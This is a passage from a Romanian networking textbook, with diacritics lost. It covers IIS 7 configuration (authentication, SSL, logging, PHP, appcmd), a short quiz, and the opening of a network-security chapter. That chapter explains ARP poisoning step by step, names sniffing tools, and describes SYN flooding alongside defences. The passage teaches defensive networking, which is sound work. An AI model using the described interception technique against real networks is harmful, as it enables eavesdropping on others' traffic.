345 | W o r l d W i d e W e b SSL Settings: Permite modificarea cerinelor SSL (Secure Sockets Layer) pentru site-uri i aplicaii, mpreun cu modul de tratare a certificatelor sosite din partea clienilor. Se poate specifica folosirea criptrii pe 40 sau 128 de bii. Authentication: Descrie metodele de autentificare folosite pentru accesul la un site. Se pot folosi autentificri din urmtoarele categorii: anonymous, ASP.NET impersonation, basic, digest, forms i Windows authentication. Doar n cazul n care serverul este membru al unui domeniu este posibil folosirea lui digest authentication. Logging: Permite lui IIS s nregistreze n jurnale cererile. Se poate alege calea n care vor fi stocate jurnalele, tipurile de intrri ce vor fi scrise n ele precum i modul i frecvena cu care se va realiza rotirea jurnalelor.

9.4.6 Securitate

9.4.6.1 Metode de autentificare


IIS pune la dispoziie o serie de metode prin care utilizatorii se pot autentifica pentru a dobndi accesul la coninutul site-urilor:
Active Directory Client Certificate Authentication: Se folosete Active Directory Directory Services1 pentru a verifica asocierea dintre utilizatori i certificate, fr alte date suplimentare. Anonymous Authentication: Permite oricrui utilizator s acceseze ntregul coninut public, fr a furniza informaii despre identitatea sa. Folosit n site-urile publice, de pe Internet. ASP.NET Impersonation: Permite rularea aplicaiilor ASP.NET ntr-un alt context dect cel al contului implicit ASPNET. ASP.NET Impersonation poate fi folosit n conjuncie cu alte metode de autentificare sau se poate crea un cont de utilizator pentru acest mod de autentificare. Basic Authentication: Utilizatorilor li se cere un nume i o parol valide pentru a fi autentificai. Transmiterea datelor de autentificare se face slab securizat. Digest Authentication: Folosee un Windows Domain Controller pentru a autentifica utilizatorii, reprezint o alternativ mai securizat dect Basic Authentication i pote fi folosit i de ctre utilizatorii din spatele firewall-urilor sau serverelor proxy. Necesit HTTP 1.1. Forms Authentication: Acest mod redirecteaz utilizatori spre o pagin separat, n formularul creia i vor introduce datele de autentificare. Dup ce aceste informaii sunt validate, ei vor fi redirectai napoi la pagina cerut iniial. Deoarecere Form Authentication trimite informaiile necriptate se recomand folosirea SSL att pentru pagina de autentificare ct i pentru restul informaiilor de pe site. Windows Authentication: Folosete NTLM2 sau Kerberos3 pentru autentificare, informaiile circul nesecurizate. Nu se recomand utilizarea acestei metode dect pentru intranet-uri, deci nu pentru a autentifica utilizatori ce se afl n spatele unor firewall-uri sau proxy-uri.

Dup cum s-a mai menionat anterior, pentru a accesa resursele locale n urma unor cereri anonime, IIS folosete drepturile unui cont propriu, IUSR. Prin configurarea setrilor din cadrul Anonymous Authentication, se poate specifica alt utilizator ce va fi folosit pentru cereri anonime, dar acest lucru nu este recomandabil deoarece utilizatorii anonimi pot primi orice drepturi de administrare pe care le-ar putea avea acel cont, ceea ce reprezint un risc de securitate.

9.4.6.2 Exemplu de autentificare: Basic Authentication


Autentificarea prin metoda Basic Authentication reprezint un standard rspndit pentru autentificare pe baza unui nume de utilizator i a unei parole. Datele de conectare sunt
1 2

http://www.windowsitlibrary.com/Content/716/06/toc.html NT LAN Manager, protocol de autentificare proprietar Microsoft 3 http://en.wikipedia.org/wiki/Kerberos_(protocol)

346 | R e e l e L o c a l e

transmise necriptate, astfel c este necesar utilizarea altor capabiliti de criptare ale serverului web n conjuncie cu Basic Authentication pentru a proteja informaiile. Pentru a putea folosi acest tip de autentificare, fiecare utilizator trebuie s beneficieze dreptul de a se conecta local, pe sistemul serverului web. Pentru a se uura administrarea n cazul n care conturile nregistrate sunt numeroase, utilizatorii pot fi adugai unui grup care s le ofere drepturile necesare asupra fiierelor i locaiilor pe care acetia trebuie s le acceseze. Ca i celelalte tipuri de autentificri, utilizarea Basic Authentication necesit instalarea unui modul opional al IIS. Instalarea modulelor poate fi fcut att la instalarea iniial a serverului ct i prin opiunea Add Role Services din Server Manager, sub grupul IIS. Basic Authentication poate fi gsit sub categoria Security din lista de module disponibile.

9-12: Basic Authentication activ Dup instalarea Basic Authentication (eventual mpreun i cu alte metode de autentificare) se recomand restartarea Server Manager. Pentru a configura metoda de autentificare la nivel de site, se selecteaz site-ul din categoria Sites, panoul de conexiuni i se alege opiunea Authentication din lista afiat n modul Features View. Pentru a putea folosi Basic Authentication, este necesar ca Anonymous Authentication s fie dezactivat. n caz contrar, toi utilizatorii vor accesa site-ul n mod anonim, folosind Anonymous Authentication. Activarea i dezactivarea metodelor de autentificare se face din panoul de aciuni. La accesarea site-ului, browserele vor afia o fereastr de interogare n care vor trebui completate un nume de utilizator i o parol conform cu un cont nregistrat pe sistemul pe care ruleaz serverul.

9.4.6.3 SSL
n mod implicit, comunicaia dintre un client i un server web se face fr a securiza informaiile transmise i fr a se lua msuri mpotriva celor ce ar putea intercepta aceste date. n consecin, informaiile coninute n cereri i rspunsuri pot fi interceptate i interpretate de un atacator ce poate asculta comunicaia la nivelul reelei. Pericolul n acest caz const att n interceptarea fiierelor transferate ntre server i client ct i n posibilitatea de a intercepta datele folosite la autentificri ce nu implementeaz intrinsec vreo metod de securizare (ca n cazul Basic Authentication sau Forms Authetication, descrise pe scurt anterior) i utilizarea lor pentru a impersona un utilizator autorizat i a dobndi accesul la resurse securizate. Pentru a preveni astfel de situaii se poate folosi SSL (Secure Sockets Layer) sau protocoalele mai noi TLS (Transport Layer Security) pentru a securiza comunicaia dintre server i clieni. TLS reprezint un standard foarte rspndit i acceptat de majoritatea browserelor

347 | W o r l d W i d e W e b

web. Pentru simplitate, se va folosi n continuare termenul de SSL pentru a referi att SSL ct i TLS. Pe lng securizarea comunicaiei dintre server i clieni, SSL ajut i la confirmarea identitii unui server web pentru un client. Procedeul este folosit la scar larg pentru a asigura clientul de faptul c serverul este chiar cel care se declar a fi i nu un atacator. De asemenea, SSL poate fi folosit de ctre IIS pentru a confirma identitatea unui client, dac acesta prezint un certificat acceptat. Pentru IIS, configurarea SSL presupune dou etape:
1. Obinerea unui certificat de la o autoritate recunoscut (Certificate Authority CA). CA-ul trebuie s fie recunoscut de toi clienii care se conecteaz la un site ce folosete un astfel de certificat. Pentru site-uri intranet, CA-ul poate fi furnizat de un serviciu de certificate al Active Directory (Active Directory Certificate Services1). Pentru site-uri din Internet, CA-ul este, de regul, recunoscut i acceptat implicit de toate browserele web. Pentru uz intern sau pentru teste, IIS poate furniza i un certificat propriu, cu identitatea sistemului pe care ruleaz. 2. Creare unei asocieri ntre protocolul HTTPS i portul 443 (sau altul, dup preferine) i specificarea unui certificat pentru fiecare site pentru care se dorete implementarea SSL.

Pentru a securiza un site prin SSL, folosind un certificat emis de propriul server, se urmeaz paii:
1. Din ecranul de Features View al serverului, se selecteaz Server Certificates (fig. 9-13) 2. Implicit, lista de certificate este goal. Crearea unui nou certificat propriu se face prin alegerea opiunii Create Self-Signed Certificate din panoul de aciuni. Pentru crearea sa este necesar doar definirea unui nume. Dup creare, certificatul apare n list mpreun cu date legate de furnizorul su, data la care expir i hash-ul su. 3. Din grupul Sites se selecteaz site-ul dorit a fi securizat iar din panoul de aciuni se alege Bindings. Se adaug o nou asociere, ntre protocolul HTTPS i portul folosit pentru acesta (implicit 443) i, eventual, interfaa pe care s rspund cererilor. Opional, se poate elimina binding-ul HTTP, care oricum va returna de acum nainte o eroare de tip 403.4 (Forbidden) la ncercarea de a accesa site-ul prin HTTP simplu.

9-13: Managementul certificatelor la nivel de server


Active Directory Certificate Services este disponibil ca rol pentru Windows Server 2008 i poate fi instalat din Server Manager, interfaa Add Roles.
1

348 | R e e l e L o c a l e

9-14: Accesarea setrilor SSL


4. Tot n cadrul site-ului selectat anterior, se acceseaz din Features View opiunea SSL Settings (fig. 9-14). 5. Opiunile ce in de SSL permit utilizarea criptrii pe 40 de bii sau pe 128 de bii. De asemenea, de aici poate fi configurat i comportamentul serverului n cazul n care clienii furnizeaz certificate pentru propria lor identitate: poate fi setat s le ignore, s le accepte dac sunt furnizate sau s accepte doar clienii care prezint un certificat valid. n cazul n care se specific faptul c doar clienii cu certificate valide au acces, acetia vor trebui s aib instalat n browserul propriu certificatul respectiv. 6. Se selecteaz Apply din panoul de aciuni i se verific noua configuraie. Atenie, accesarea site-ului se face acum prin protocolul HTTPS, deci adresa trebuie s fie precedat de acesta.

O soluie pentru evitarea necesitii de a include protocolul HTTPS n adresa site-ului, cnd acesta este accesat de ctre clieni, este definirea a dou site-uri, primul cu binding pentru HTTP, pe portul 80, iar al doilea cu binding doar pentru HTTPS i portul 443. Apoi, se poate folosi facilitatea de HTTP Redirect1 din Features View pentru primul site pentru a redirecta toate cererile spre site-ul securizat. Atenie, n acest caz, nu trebuie definit aceeai rdcin pentru ambele site-uri, altfel se va obine o redirectare infinit spre acelai site. Ca i n cazul adugrii altor module, dup instalarea HTTP Redirect poate fi necesar repornirea Server Manager-ului pentru ca opiunea s fie disponibil la nivel de server i site.

9.4.7 Crearea i ntreinerea jurnalelor


Pagina de Logging accesibil din modul Features View permite configurarea modului n care cererire sosite sunt nregistrate n jurnale, la nivel de site sau pentru ntregul server, dac se configureaz la nivel de server. Setrile permit specificarea formatului fiierului jurnal, a directorului n care acesta va fi stocat i modul n care se realizeaz rotirea jurnalelor.

HTTP Redirect este diponibil sub forma unei componente opionale IIS, disponibil la instalare sau prin interfaa Add Role Services din Server Manager, sub IIS.

349 | W o r l d W i d e W e b

9-15: Configurarea jurnalelor Formatul implicit al fiierului este W3C, un format de tip ASCII, n care se pot alege cmpurile ce vor fi nregistrate. Datele sunt separate prin spaii iar timpul este nregistrat n format UTC (Coordinated Universal Time). Dac se alege ca serverul s menin un singur jurnal la nivel de server, se poate selecta formatul Binary, n care vor fi stocate cererile tuturor site-urilor. Acest mod conserv n mare msur resursele de memorie i procesor i este recomandabil a fi folosit n medii cu trafic intens i ncrcare mare a serverelor. Citirea unui astfel de jurnal poate fi fcut cu un utilitar ca Log Parser1. Dac se configureaz generarea unui jurnal pentru fiecare site nregistrat n server se poate alege, de asemenea, formatul W3C, ca i mai sus, precum i formatul IIS (creeaz un jurnal specific pentru IIS, de tip ASCII, n care cmpurile nu sunt configurabile) i formatul NCSA (standard, de asemenea ASCII, dar cu mai puine informaii dect W3C, de asemenea, neconfigurabile). Dezactivarea i activarea serviciului de jurnalizare a IIS pot fi fcute din panoul de aciuni i au efect imediat.

9.4.8 Crearea de directoare virtuale


n unele cazuri se dorete includerea ntr-un site a unui coninut ce nu este stocat pe server, ntr-un director local. Site-urile pot include directoare virtuale, ce reprezint ci spre directoare reale. Un director adresat de un director virtual poate fi unul local sau unul stocat pe un alt server, pentru a evita realizarea unei copii a acelui coninut pentru maina local. Un director virtual poate conine documente sau informaii suplimentare pentru un site sau chiar un alt site de sine stttor. Spre exemplu, dac site-ul companiei A dorete s
1

http://go.microsoft.com/fwlink/?LinkId=59279

350 | R e e l e L o c a l e

gzduiasc temporar site-ul companiei X, poate crea un director virtual pentru a conine siteul lui X. n acest caz, compania X ar putea avea site-ul gzduit la adresa www.companiaA.com/companiaX. Pentru a crea un director virtual, se urmeaz paii:
1. Avnd un site selectat n panoul de conexiuni sub grupul Sites, se face clic pe View Virtual Directories n panoul de aciuni. Este afiat pagina ce enumer directoarele virtuale configurate pentru site-ul curent. 2. Pentru a configura un nou director virtual, se face clic pe Add Virtual Directory din panoul de aciuni i este afiat fereastra din figura 9-16:

9-16: Crearea unui nou director virtual


3. Se introduce un alias pentru directorul virtual care va permite accesarea coninutului prin adresa <adres_site>/alias i se specific i calea spre locaia unde sunt stocate fiierele, ce poate fi local sau accesibil prin reea. 4. Autentificarea implicit este de tip pass-through, deci se va ncerca accesarea locaiei folosind identitatea utilizatorului ce emite cererea sau a utilizatorului IUSR n cazul cererilor anonime. Dac se dorete, se poate specifica un anumit cont de utilizator pe baza cruia se va accesa coninutul directorului virtual printr-un clic pe butonul Connect as. 5. Se valideaz configuraia de mai sus iar noul director creat apare n lista directoarelor virtuale. Pentru a modifica proprietile unui director creat, se selecteaz i se alege Basic settings din lista de aciuni.

Uneori este de dorit configurarea manual a permisiunilor asupra coninutului directoarelor virtuale. Pentru aceasta se poate selecta Edit permissions din panoul de aciuni care afieaz, de fapt, interfaa de proprieti a directorului n forma accesibil i din Windows Explorer.

9.4.9 Aplicaie: Integrarea IIS 7 i PHP


Pentru a putea permite lui IIS 7 s interpreteze cod PHP exist mai multe metode. Paii urmtori reprezint o variant facil de a realiza acest lucru (pentru exemplul de fa se consider c instalarea de Windows s-a fcut n C:\Windows:
1. Din lista de module opionale IIS se selecteaz ISAPI Extensions i se instaleaz fie la instalarea iniial a IIS, fie ulterior, din Server Manager, de la Add Role Services, sub rolul de server web. 2. Se descarc PHP de la http://www.php.net/downloads.php i se dezarhiveaz ntr-un director la alegere. Pentru exemplu, fie acesta C:\php. 3. Se copiaz fiierul php.ini-dist din C:\php n C:\Windows i se redenumete n php.ini.

351 | W o r l d W i d e W e b 4. Se deschide C:\Windows\php.ini ntr-un editor de texte, se localizeaz linia ;extension=php_mysql.dll i se decomenteaz linia (se terge punctul i virgula de la nceput). Se salveaz i se nchide fiierul. 5. Se copiaz fiierul C:\php\ext\php_mysql.dll n C:\Windows\System32. 6. Se deschide IIS Manager i, la nivel de site, se acceseaz Handler Mappings. 7. Se alege Add Script Map din meniul de aciuni.

9-17: Add Script Map


8. Se completeaz cmpurile din fereastra Add Script Map dup cum urmeaz:
o o o Request path indic tipul cererilor, deci fiierele de tip .php Executable reprezint calea spre biblioteca (DLL-ul) ce va interpreta aceste fiiere. n cmpul Name se introduce un nume pentru a identifica aceast asociere.

9. Se apas OK, iar n fereastra urmtoare Yes.

n acest moment, IIS este capabil de a interpreta pagini PHP. Pentru a test acest lucru, se poate crea un fiier .php ntr-un director al site-ului configurat mai sus, avnd coninutul <?php phpinfo(); ?> i accesndu-l. De asemenea, se va observa faptul c se primete o eroare (sau se listeaz coninutul directorului, n funcie de opiunea de la Directory Browsing) n cazul n care se ncearc accesarea unei locaii ce contine un fiier index.php deoarece IIS nu a fost setat s recunoasc fiierele index cu extensia .php. Pentru aceasta, n seciunea Default Document, tot n cadrul site-ului selectat mai sus, se adaug i intrarea pentru index.php.

9.5 IIS 7 Configurri n linie de comand


IIS 7 include un nou utilitar, appcmd.exe, un executabil ce poate fi folosit pentru administrarea oricror funcii ale IIS. Prin appcmd.exe se pot crea i configura site-uri, application pool-uri, directoare virtuale, se poate controla modul n care acestea ruleaz, se poate examina funcionarea serviciului web i, de asemenea, se pot edita configuraiile IIS. appcmd.exe implementeaz o sintax unitar i logic. Operaiile i aciunile se aplic pe o zon specific IIS sau asupra unui obiect. Spre exemplu se pot lista site-urile (comanda fiind listarea iar obiectul fiind site-urile), se pot aduga aplicaii, se pot nchide procese sau se pot seta diferite configuraii.

352 | R e e l e L o c a l e

Atenie, appcmd.exe este situat la %systemroot%\system32\inetsrv\ iar aceast cale nu este inclus implicit n variabila de mediu %path%, deci apelarea lui trebuie fcut fie introducnd ntreaga cale naintea executabilului, fie prin adugarea cii sale la coninutul variabilei de mediu %path%. Pentru a modifica variabila de mediu %path% se poate folosi urmtoarea comand n cmd.exe:
set path=%path%;%windir%\system32\inetsrv

Sintaxa comenzilor appcmd.exe este de tipul:


appcmd (comand) (obiect) (identificator)

Listarea site-urilor din linie de comand se poate face prin comanda:


appcmd list sites

Comanda de mai sus permite specificarea numelui unui anumit site, precum i filtrarea site-urilor active sau inactive prin adugarea parametrului /state:started sau /state:stopped. Se poate face adugarea unui ntreg nou site din linia de comand. Spre exemplu, urmtoarea comand adaug un site denumit Biblioteca ce funcioneaz pe portul 8080, al crui rdcin este situat la C:\inetpub\wwwroot\biblioteca\:
PS C:\> appcmd add site /name:Biblioteca /id:2 /bindings:"http/*:8080:" /physicalPath: "C:\inetpub\wwwroot\biblioteca" SITE object "Biblioteca" added APP object "Biblioteca/" added VDIR object "Biblioteca/" added

tergerea unui site definit n prealabil se face prin comanda delete, folosindu-se numele su drept identificator:
appcmd delete site Biblioteca

IIS permite vizualizarea strii serverului, aceasta incluznd procesele active, precum i cererile pe care acestea le proceseaz. Starea application pool-urilor care sunt pornite sau oprite poate fi obinut prin urmtoarele comenzi:
appcmd list apppools appcmd list apppools /state:started appcmd list apppools /state:stopped

Pentru a vizualiza lista proceselor curente, starea unui anumit proces sau lista proceselor asociate unui application pool, se pot folosi comenzile urmtoare:
appcmd list wps appcmd list wp 2244 appcmd list wps /apppool.name:DefaultAppPool

Pot fi afiate n timp real cererile n curs de execuie din server. Cererile pot fi filtrate n funcie de proces, application pool sau numele site-ului:
appcmd appcmd appcmd appcmd list list list list requests requests /wp.name:2244 requests /apppool.name:DefaultAppPool requests /site.name:Biblioteca

Modificarea parametrilor unui site existent se face asemntor comenzilor de vizualizare, ca n comanda urmtoare, prin aciunea set, care modific indexul site-ului Biblioteca la 99:
appcmd set site Biblioteca /id:99

n general, pentru modificarea configuraiei, se specific seciunea sau URL-ul, urmat de parametrul de modificat mpreun cu noua sa valoare. Prin urmtoarele dou comenzi se seteaz parametrul Enabled pentru seciunea defaultDocument la valoarea true pentru ntregul server sau pentru un anumit URL din cadrul unui site:

353 | W o r l d W i d e W e b
appcmd set config /section:defaultDocument /enabled:true appcmd set config Biblioteca/www/files/ /section:defaultDocument /enabled:true

Salvarea configuraiei serverului poate fi realizat printr-o simpl comand de o linie:


appcmd add backup nume_backup

Dac un backup cu acelai nume exist deja, se va returna o eroare. Daca se dorete refolosirea acelui nume pentru un nou backup, trebuie eliminat cel vechi nainte de a fi creat cel nou:
appcmd delete backup nume_backup

Posibilitatea de a restaura un backup precedent este la fel de important ca i crearea unuia. Pentru afiarea unei liste a backup-urilor existente i restaurarea unuia dintre ele se folosesc comenzile:
appcmd list backup appcmd restore backup nume_backup

n general, n linia de comand, cnd se specific un URL asupra cruia se vor efectua modificri, exist opiunea de a-l descrie prin calea sa complet, spre exemplu: http://localhost/Biblioteca/www poate reprezenta faptul c se efectueaz modificri asupra directorului www al directorului virtual Biblioteca. De asemenea, se poate specifica o cale relativ la numele unui anumit site, ca Biblioteca/main/www, ceea ce se refer la directorul main/www/ din cadrul unui site denumit Biblioteca.

354 | R e e l e L o c a l e

ntrebri
1. Sistemul WWW se bazeaz pe un model client/server, modul de comunicare ntre client i server fiind definit de protocolul HTTP. Cum arat cererea generat de browser-ul dvs. atunci cnd ncercai s accesai www.test.com/file.html? GET www.test.com/file.html HTTP GIVE www.test.com/file.html HTTP/1.0 GET www.test.com/file.html HTTP/1.0 GET /file.html HTTP/1.0 2. Ce avantaje ofer gzduirea virtual bazat pe nume? (dou variante) Mai multe site-uri web pot fi gestionate de acelai server Este necesar doar o singur adres IP Toate browser-ele web suport acest tip de gzduire virtual Este necesar doar o singur plac de reea, cu mai multe adrese IP asociate 3. Ce comand nu poate fi folosit pentru oprirea serverului Apache? /etc/init.d/apache stop a2dissite apache2ctl stop apache2 k stop 4. Care este utilizatorul folosit de Apache pentru accesarea unei resurse din sistemul local de fiiere? root www-user www-data nobody 5. Care modul este folosit pentru a asigura folosirea protocolului HTTPS? mod_cgi mod_userdir mod_ssl mod_dir 6. Care sunt porturile utilizate implicit de protocoalele HTTP, respectiv HTTS? (alegei dou rspunsuri) 80 143 443 8080 7. Este posibil ca un server Apache cu suport TSL/SSL s asculte conexiuni HTTPS pe portul 80 i conexiuni HTTP pe portul 443? da nu da, dar numai prin folosirea modulului mod_cgi da, dar numai prin folosirea modulului mod_auth

10 Securitatea reelei
Being able to break security doesn't make you a hacker anymore than being able to hotwire cars makes you an automotive engineer." Eric Raymond

Ce se nva din acest capitol?


Principii de baz ale securitii Tipuri de atacuri de reea Exploatarea vulnerabilitilor reelei

Cine este...
Kevin Mitnick este unul dinte cei mai cunoscui hackeri din anii 90 - 2000. El a reuit sa sparg reeaua DEC pentru a vedea codul surs de la VMS i a intrat n sisteme Motorola, NEC, Nokia, Sun i Fujitsu Siemens. Kevin Mitnick a devenit cunoscut prin faptul c a fost primul hacker al crui proces a fost mediatizat pe scar larg. El a recunoscut c a ptruns n diverse reele folosindu-se n principal de "social engineering" i a fost condamnat la 5 ani de nchisoare. Dup eliberare (n 2000) i-a creat propria firm de consultan n domeniul securitii. A scris dou cri: The Art of Deception i The Art of Intrusion. Gordon Lyon (cunoscut i sub pseudonimul de Fyodor Vaskovich) este un expert n securitate i, aa cum i spune, "tipul bun de hacker". El este autorul cunoscutului program de scanare nmap. Lyon a avut un rol activ n comunitatea de securitate a reelelor nc din anii 90. Pseudonimul lui, Fyodor, a fost luat de la celebrul autor rus Fyodor Dostoyevsky. De-a lungul ultimilor ani, multe teme tehnice specifice domeniului securitii au prsit domeniul IT, fiind preluate de ziare, jurnale TV, sau chiar de industria cinematografic. Din pcate, procesul nu a urmrit, cel mai adesea, aducerea n sfera public a conceptelor de securitate, ci specularea senzaionalului prin ignorarea constrngerilor lumii reale, ducnd la promovarea unor noi mituri ale erei IT. n ziua de astzi, deja se consider normale performanele hackerilor din filmele americane, care reuesc s compromit securitatea unui sistem n cteva secunde. Exist oameni care cred c este posibil s scrii virui pentru sisteme de operare extraterestre (vezi Ziua Independenei, 1997). Pentru cei ce au deschis acest capitol n sperana obinerii unei puteri nemrginite n controlul tuturor sistemelor electronice urmeaz o dezamgire: paginile ce urmeaz nu reuesc dect s aduc un pic de ordine n domeniul populat de mituri al securitii IT.

10.1 Riscuri de securitate


10.1.1 Principii de baz
O prim clasificare a riscurilor de securitate distinge trei tipuri de atacuri: atacuri venite din Internet (cu o rat de succes redus), atacuri iniiate din reeaua local i atacuri generate de pe aceeai main - acestea din urm avnd un impact mult mai nsemnat dect primele. Dei cu gradul de risc cel mai ridicat, atacurile iniiate de utilizatorii serverului int sunt deseori tratate n grab i unitar. n continuare vor fi discutate vulnerabilitile importante ce pot nlesni un astfel de atac. fiecare dintre acestea putnd duce la compromiterea securitii sistemului.

356 | R e e l e L o c a l e

Principiul fundamental al securitii, fie ea IT sau de orice alt natur, este: Securitatea unui sistem este egal cu securitatea celei mai slabe verigi. Altfel spus, degeaba i pui u ultra-performant dac nu o nchizi cu cheia, sau, aplicat n domeniul IT: nu are rost s cheltui sume enorme de bani pe sisteme de securitate, dac utilizatorii folosesc drept parole propriul nume sau i in parola lipit pe monitor. Privit din perspectiva unui sistem IT, o soluie de securitate trebuie s includ att o politic de securitate, ce definete drepturile i responsabilitile utilizatorilor, ct i specificaii pentru asigurarea securitii fizice, a componentelor sistemului de operare, a aplicaiilor locale, precum i a serviciilor de reea. O politic de securitate trebuie s stabileasc un compromis ntre gradul de flexibilitate al serviciilor IT i nivelul de securitate dorit. Luate ad literam, cerinele de securitate ar presupune izolarea total a sistemului de lumea exterioar, dar, cum o astfel de abordare duce la limitarea funcionalitii, cel mai adesea securitatea unui sistem este definit ca un set de metode de protecie menite s descurajeze i s ntrzie atacatorul.

10.1.2

Tipuri de atacuri de reea

Cea mai ntlnit clasificare a atacurilor electronice urmrete stiva de protocoale OSI, ncercnd s grupeze atacurile n funcie de tipul de vulnerabilitate exploatat.

10.1.2.1

Atacurile de nivel fizic

Atacurile de nivel 1 (fizic) reprezint un numr foarte mic din totalul atacurilor pentru c presupun acces la mediul de transmisie. n aceast categorie sunt incluse atacurile ce presupun interceptarea traficului din reea. Metodele de protecie difer n funcie de mediul de transmisie folosit. n reelele fr fir, mediul fiind att partajat ct i foarte accesibil, protecia se bazeaz mai ales pe criptarea traficului. Securizarea unei astfel de reele pornete de la reglarea puterii de emisie a echipamentelor fr fir (echipamentele mai ieftine de obicei nu permit astfel de configurri), n scopul limitrii accesului la mediu din afara ariei de lucru. n alegerea criptrii trebuie inut cont c att WEP, ct i WPA sunt protocoale relativ uor de compromis. n msura n care componentele reelei fr fir o permit, se recomand folosirea WPA2, protocol bazat pe AES. Pentru reelele de cupru, atacatorul va avea nevoie de acces la miezul de cupru al mediului de transmisie. La cablurile UTP, atacul se rezuma la a ndeprta cmaa de plastic, urmnd ca prin intermediul unor cleti s se intercepteze semnalele electrice transmise pe firele de cupru. Fibra optic, dei este mai greu de atacat, poate cdea victim unor tehnici neintruzive (care nu se bazeaz pe ntreruperea mediului de transmisie). Un aparat ce intercepteaz semnalul luminos dintr-o fibr ndoit poate fi cumprat de pe eBay la mai puin de 500 USD. Trebuie remarcat c un astfel de atac necesit acces la mediul fizic. n plus, prin ndoirea fibrei semnalul luminos se atenueaz, atenuare ce poate fi detectat de receptor i folosit n declanarea unei alarme.

10.1.2.2

Atacuri de nivel legtur de date

Atacurile de nivel 2 (legtur de date) presupun acces n reeaua local. Lista acestor atacuri include: atac MAC, atac STP, schimbarea VLAN (VLAN hopping), dar i ARP poisoning, atac greu detectabil i uor de folosit n reelele locale actuale.

357 | S e c u r i t a t e a r e e l e i

Atacul ARP poisoning presupune redirecionarea traficului dintre orice staie din reeaua local i routerul de ieire din LAN (gateway) prin staia atacatorului. Acest lucru este realizat prin trimiterea de pachete ARP (att cereri ARP, ct i rspunsuri) cu informaii alterate. Pentru exemplificare, fie cazul din figura de mai jos, n care staia C dorete s intercepteze traficul dintre staiile A i B. Pentru aceasta, staia C va trimite dou pachete ARP de tip rspuns false: o dat pentru staia B, n care se specific faptul c adresa de nivel 2 a staiei A este AA:BB:CC:00:00:13, i o dat pentru staia A, n care se specific faptul c adresa de nivel 2 a staiei B este tot AA:BB:CC:00:00:13. Astfel, atunci cnd staia A dorete s trimit un pachet staiei B, l va trimite staiei C. La fel, atunci cnd staia B dorete s trimit un pachet staiei A, l va trimite tot staiei C. Pentru ca procesul s funcioneze, staia C va trebui s trimit pachetele primite staiilor care sunt adresate. n plus, staia C trebuie s retrimit pachetele ARP false la intervale regulate. Aceasta pentru c intrrile din tabela ARP sunt evacuate dup un timp, caz n care staia va trimite un pachet ARP de interogare. Dac staia interogat rspunde, intrarea din tabela ARP va fi actualizat i astfel traficul nu va mai ajunge la staia C.
C 192.168.1.13 AA:BB:CC:00:00:13

A 192.168.1.11 AA:BB:CC:00:00:11

B 192.168.1.12 AA:BB:CC:00:00:12

nainte de atac: 192.168.1.12 AA:BB:CC:00:00:12 dup atac: 192.168.1.12 AA:BB:CC:00:00:13

nainte de atac 192.168.1.11 AA:BB:CC:00:00:11 dup atac 192.168.1.11 AA:BB:CC:00:00:13

10-1: Atac ARP poisoning Acest tip de atac, n care dou staii comunic printr-un intermediar, poart numele de man in the middle attack. Exist multe atacuri de acest tip i din pcate singura soluie pentru evitarea acestor atacuri este autentificarea. Simpla criptare a traficului nu evit ntotdeauna aceste tipuri de atacuri. Dac se folosete o criptare cu o cheie partajat, atunci se obine un grad oarecare de securitate. n schimb, dac se folosete o criptare fr o cheie partajat i fr autentificare, n care cheia de criptare se deriv prin schimbul de informaii ntre cele dou staii, gradul de securitate este zero: atacatorul va stabili dou canale de comunicaie, cu fiecare dintre cele dou staii, i, chiar dac acele canale de comunicaie sunt criptate, atacatorul are toate informaiile necesare pentru decriptare. Pentru prevenirea unui atac ARP poisoning trebuie monitorizat tot traficul ARP n reeaua local, att la nivelul dispozitivelor de interconectare folosind switchuri ce implementeaz ARP Inspection (intercepteaz i valideaz toate cererile i rspunsurile ARP), ct i la nivelul staiilor folosindu-se programe de tip ARPWatch pentru a detecta eventuale schimbri n asocierile IP-MAC. n acelai timp, pentru destinaiile importante (de exemplu pentru gateway), se recomand folosirea de asocieri statice n tabela ARP.

358 | R e e l e L o c a l e

Apariia switchurilor n reelele locale au transformat mediul partajat al Ethernet-ului ntrun mediu dedicat. Astfel, un administrator de reea ce dorete monitorizarea traficului ctre o anumit destinaie va trebui ca, nainte de a lansa programul de interceptare a traficului, s fac un atac ARP poisoning pentru respectiva destinaie. Pentru aceasta poate folosi orice generator de pachete, cele mai utilizate fiind: Cain, dsniff, IPSorcery.

10.1.2.3

Atacuri de nivel reea

Atacurile de nivel 3 (reea) sunt cel mai adesea iniiate din Internet, dei exist atacuri de nivel 3 i n reelele locale, precum DHCP starvation i DHCP spoofing. Din multitudinea atacurilor de nivel 3 cele mai ntlnite sunt atacurile bazate pe flooding, sau cele bazate pe DoS (Denial of Service) sau mai nou DDoS (Distributed DoS). Un flood reprezint un numr foarte mare de pachete venite ntr-un interval scurt de timp. Un trafic ce poate fi interpretat drept flood la nivelul routerului de acces n reeaua local poate fi tratat drept trafic normal n nucleul Internetului. Pentru tehnologiile actuale, un flood este definit astfel: la nivelul unui switch de nivel 2 un numr de 100.000- 150.000 de pachete pe secund, iar la nivelul unui router de acces (ce conecteaz o reea local) un flood are 8.000-12.000 de pachete pe secund. n nucleul Internetului un trafic de sute de milioane de pachete pe secund poate fi tratat drept trafic legitim, de aceea un flood se identific dup tipul traficului i nu dup numrul de pachete. Atacurile bazate pe flooding pot folosi conexiuni TCP, mai exact pachete de SYN (atacul numindu-se SYN flooding), ct i pachete ICMP sau UDP. n cazul SYN flooding, atacatorul va trimite un numr foarte mare de cereri de deschidere a unei noi conexiuni TCP (pachete ce au cmpul de control SYN setat). Serverul int va rspunde cu pachete ce au cmpurile ACK i SYN setate. Atacatorul nu va trimite niciodat pachetul de stabilire a conexiunii (o sesiune TCP se bazeaz pe three-way handshake). Astfel, sesiunile vor rmne n starea half-open, consumnd resurse n continuare pe server. Mecanismele de protecie mpotriva atacurilor SYN flood se bazeaz pe stabilirea unui timp maxim pentru stabilirea unei conexiuni (timp n care conexiunea poate fi n starea halfopen), a unui numr maxim de conexiuni half-open (valoare de la care conexiunile half-open vor ncepe s fie terse). O alt abordare se numete SYN cookies. Aceast metod permite severului s evite nlturarea conexiunilor, cnd coada n care sunt pstrate SYN-urile devine plin, serverul comportndu-se normal, ca i cnd aceasta din urm ar fi fost mrit. Serverul n acest caz, va trimite napoi clientului un rspuns de forma SYN+ACK, dar va terge din coad intrarea corespunztoare pachetului ce coninea bitul SYN setat. Dac serverul va primi un pachet de rspuns de la client cu bitul ACK setat, atunci conexiunea poate fi stabilit, intrarea ce fusese tears putnd fi reconstruit pe baza numrului de secven din antetul TCP. ICMP flooding se bazeaz pe trimiterea unui numr foarte mare 